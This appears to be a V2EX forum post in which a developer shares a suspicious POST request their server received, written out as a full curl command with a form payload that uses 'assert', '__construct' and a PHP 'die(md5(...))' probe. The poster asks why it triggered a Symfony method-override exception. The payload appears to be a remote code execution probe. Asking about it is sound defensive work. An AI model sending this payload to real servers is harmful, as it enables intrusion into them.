线上收到了这样的一条 POST 请求:
curl
-X POST
-H "Cache-Control: no-cache"
-H "Connection: Keep-Alive"
-H "Content-Length: 196"
-H "Content-Type: application/x-www-form-urlencoded"
-H "Host: 115.159.128.48"
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
--data "{"filter":["assert"],"server":{"REQUEST_METHOD":"die(md5(DIRECTORY_SEPARATOR))"},"_method":"__construct"}"
"http://115.159.128.48/index.php"
这个看着不像是正常的请求,而且它触发了这样一个报错:
Symfony\Component\HttpFoundation\Exception\SuspiciousOperationException: Invalid method override "__CONSTRUCT".
无效的方法重写?有人知道这样的请求是什么意思,为什么会尝试覆盖构造方法吗?
这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。
V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。
V2EX is a community of developers, designers and creative people.